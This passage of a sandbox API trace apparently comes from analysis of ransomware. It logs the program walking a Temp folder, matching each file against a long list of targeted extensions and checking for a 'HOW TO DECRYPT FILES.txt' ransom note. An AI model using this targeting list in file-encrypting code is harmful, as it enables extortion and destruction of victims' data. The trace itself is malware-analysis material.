(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mkv") returned 0 [0086.809] lstrlenA (lpString="*.mkv") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.eml") returned 0 [0086.809] lstrlenA (lpString="*.eml") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.msg") returned 0 [0086.809] lstrlenA (lpString="*.msg") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.edb") returned 0 [0086.809] lstrlenA (lpString="*.edb") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.accdb") returned 0 [0086.809] lstrlenA (lpString="*.accdb") returned 7 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.odb") returned 0 [0086.809] lstrlenA (lpString="*.odb") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.java") returned 0 [0086.809] lstrlenA (lpString="*.java") returned 6 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.asm") returned 0 [0086.810] lstrlenA (lpString="*.asm") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.pfx") returned 0 [0086.810] lstrlenA (lpString="*.pfx") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.pem") returned 0 [0086.810] lstrlenA (lpString="*.pem") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.p12") returned 0 [0086.810] lstrlenA (lpString="*.p12") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.gpg") returned 0 [0086.810] lstrlenA (lpString="*.gpg") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.vsd") returned 0 [0086.810] lstrlenA (lpString="*.vsd") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.odg") returned 0 [0086.810] lstrlenA (lpString="*.odg") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.raw") returned 0 [0086.810] lstrlenA (lpString="*.raw") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.nef") returned 0 [0086.810] lstrlenA (lpString="*.nef") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.svg") returned 0 [0086.810] lstrlenA (lpString="*.svg") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.psd") returned 0 [0086.810] lstrlenA (lpString="*.psd") returned 5 [0086.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.vmx") returned 0 [0086.810] lstrlenA (lpString="*.vmx") returned 5 [0086.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.vmdk") returned 0 [0086.811] lstrlenA (lpString="*.vmdk") returned 6 [0086.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.vdi") returned 0 [0086.811] lstrlenA (lpString="*.vdi") returned 5 [0086.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.lay6") returned 0 [0086.811] lstrlenA (lpString="*.lay6") returned 6 [0086.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mpeg") returned 0 [0086.812] lstrlenA (lpString="*.mpeg") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.djvu") returned 0 [0086.812] lstrlenA (lpString="*.djvu") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.tiff") returned 0 [0086.812] lstrlenA (lpString="*.tiff") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.backup") returned 0 [0086.812] lstrlenA (lpString="*.backup") returned 8 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.pdf") returned 0 [0086.812] lstrlenA (lpString="*.pdf") returned 5 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.cert") returned 0 [0086.812] lstrlenA (lpString="*.cert") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.docm") returned 0 [0086.812] lstrlenA (lpString="*.docm") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.xlsm") returned 0 [0086.812] lstrlenA (lpString="*.xlsm") returned 6 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.dwg") returned 0 [0086.812] lstrlenA (lpString="*.dwg") returned 5 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.nd") returned 0 [0086.812] lstrlenA (lpString="*.nd") returned 4 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.tlg") returned 0 [0086.812] lstrlenA (lpString="*.tlg") returned 5 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.lgb") returned 0 [0086.812] lstrlenA (lpString="*.lgb") returned 5 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mov") returned 0 [0086.812] lstrlenA (lpString="*.mov") returned 5 [0086.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.xdw") returned 0 [0086.812] lstrlenA (lpString="*.xdw") returned 5 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.ods") returned 0 [0086.813] lstrlenA (lpString="*.ods") returned 5 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.wav") returned 0 [0086.813] lstrlenA (lpString="*.wav") returned 5 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mp3") returned 0 [0086.813] lstrlenA (lpString="*.mp3") returned 5 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.aiff") returned 0 [0086.813] lstrlenA (lpString="*.aiff") returned 6 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.flac") returned 0 [0086.813] lstrlenA (lpString="*.flac") returned 6 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.m4a") returned 0 [0086.813] lstrlenA (lpString="*.m4a") returned 5 [0086.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.csv") returned 0 [0086.813] lstrlenA (lpString="*.csv") returned 5 [0086.813] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc5b68c0, ftCreationTime.dwHighDateTime=0x1d5e28a, ftLastAccessTime.dwLowDateTime=0xa71d4b00, ftLastAccessTime.dwHighDateTime=0x1d5e191, ftLastWriteTime.dwLowDateTime=0xa71d4b00, ftLastWriteTime.dwHighDateTime=0x1d5e191, nFileSizeHigh=0x0, nFileSizeLow=0x5d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="uPZxP9pjQnZ.avi", cAlternateFileName="UPZXP9~1.AVI")) returned 1 [0086.813] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.813] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uPZxP9pjQnZ.avi") returned -1 [0086.813] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uPZxP9pjQnZ.avi") returned -1 [0086.813] lstrcmpiA (lpString1="", lpString2="uPZxP9pjQnZ.avi") returned -1 [0086.813] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi") returned="uGRmxK7cL8HKok.avi" [0086.813] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.813] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.813] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.813] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.814] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="uPZxP9pjQnZ.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi" [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.ems") returned 0 [0086.814] lstrlenA (lpString="*.ems") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.db") returned 0 [0086.814] lstrlenA (lpString="*.db") returned 4 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.dbf") returned 0 [0086.814] lstrlenA (lpString="*.dbf") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.myox") returned 0 [0086.814] lstrlenA (lpString="*.myox") returned 6 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.myo") returned 0 [0086.814] lstrlenA (lpString="*.myo") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbw") returned 0 [0086.814] lstrlenA (lpString="*.qbw") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbb") returned 0 [0086.814] lstrlenA (lpString="*.qbb") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbm") returned 0 [0086.814] lstrlenA (lpString="*.qbm") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbo") returned 0 [0086.814] lstrlenA (lpString="*.qbo") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbx") returned 0 [0086.814] lstrlenA (lpString="*.qbx") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qba") returned 0 [0086.814] lstrlenA (lpString="*.qba") returned 5 [0086.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qby") returned 0 [0086.814] lstrlenA (lpString="*.qby") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qbj") returned 0 [0086.815] lstrlenA (lpString="*.qbj") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.ofx") returned 0 [0086.815] lstrlenA (lpString="*.ofx") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.qif") returned 0 [0086.815] lstrlenA (lpString="*.qif") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mye") returned 0 [0086.815] lstrlenA (lpString="*.mye") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mbox") returned 0 [0086.815] lstrlenA (lpString="*.mbox") returned 6 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.eml") returned 0 [0086.815] lstrlenA (lpString="*.eml") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.pst") returned 0 [0086.815] lstrlenA (lpString="*.pst") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.ost") returned 0 [0086.815] lstrlenA (lpString="*.ost") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.idx") returned 0 [0086.815] lstrlenA (lpString="*.idx") returned 5 [0086.815] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.dbx") returned 0 [0086.816] lstrlenA (lpString="*.dbx") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.sql") returned 0 [0086.816] lstrlenA (lpString="*.sql") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mdb") returned 0 [0086.816] lstrlenA (lpString="*.mdb") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.fdb") returned 0 [0086.816] lstrlenA (lpString="*.fdb") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.wab") returned 0 [0086.816] lstrlenA (lpString="*.wab") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.dat") returned 0 [0086.816] lstrlenA (lpString="*.dat") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.txt") returned 0 [0086.816] lstrlenA (lpString="*.txt") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.jpeg") returned 0 [0086.816] lstrlenA (lpString="*.jpeg") returned 6 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.jpg") returned 0 [0086.816] lstrlenA (lpString="*.jpg") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.png") returned 0 [0086.816] lstrlenA (lpString="*.png") returned 5 [0086.816] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.php") returned 0 [0086.817] lstrlenA (lpString="*.php") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.cs") returned 0 [0086.817] lstrlenA (lpString="*.cs") returned 4 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.cpp") returned 0 [0086.817] lstrlenA (lpString="*.cpp") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.rar") returned 0 [0086.817] lstrlenA (lpString="*.rar") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.zip") returned 0 [0086.817] lstrlenA (lpString="*.zip") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.html") returned 0 [0086.817] lstrlenA (lpString="*.html") returned 6 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.htm") returned 0 [0086.817] lstrlenA (lpString="*.htm") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.xlsx") returned 0 [0086.817] lstrlenA (lpString="*.xlsx") returned 6 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.xls") returned 0 [0086.817] lstrlenA (lpString="*.xls") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mp4") returned 0 [0086.817] lstrlenA (lpString="*.mp4") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.ppt") returned 0 [0086.817] lstrlenA (lpString="*.ppt") returned 5 [0086.817] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.pptx") returned 0 [0086.817] lstrlenA (lpString="*.pptx") returned 6 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.doc") returned 0 [0086.818] lstrlenA (lpString="*.doc") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.dot") returned 0 [0086.818] lstrlenA (lpString="*.dot") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.docx") returned 0 [0086.818] lstrlenA (lpString="*.docx") returned 6 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.7z") returned 0 [0086.818] lstrlenA (lpString="*.7z") returned 4 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.tar") returned 0 [0086.818] lstrlenA (lpString="*.tar") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.bz2") returned 0 [0086.818] lstrlenA (lpString="*.bz2") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.gz") returned 0 [0086.818] lstrlenA (lpString="*.gz") returned 4 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mkv") returned 0 [0086.818] lstrlenA (lpString="*.mkv") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.eml") returned 0 [0086.818] lstrlenA (lpString="*.eml") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.msg") returned 0 [0086.818] lstrlenA (lpString="*.msg") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.edb") returned 0 [0086.818] lstrlenA (lpString="*.edb") returned 5 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.accdb") returned 0 [0086.818] lstrlenA (lpString="*.accdb") returned 7 [0086.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.odb") returned 0 [0086.819] lstrlenA (lpString="*.odb") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.java") returned 0 [0086.819] lstrlenA (lpString="*.java") returned 6 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.asm") returned 0 [0086.819] lstrlenA (lpString="*.asm") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.pfx") returned 0 [0086.819] lstrlenA (lpString="*.pfx") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.pem") returned 0 [0086.819] lstrlenA (lpString="*.pem") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.p12") returned 0 [0086.819] lstrlenA (lpString="*.p12") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.gpg") returned 0 [0086.819] lstrlenA (lpString="*.gpg") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.vsd") returned 0 [0086.819] lstrlenA (lpString="*.vsd") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.odg") returned 0 [0086.819] lstrlenA (lpString="*.odg") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.raw") returned 0 [0086.819] lstrlenA (lpString="*.raw") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.nef") returned 0 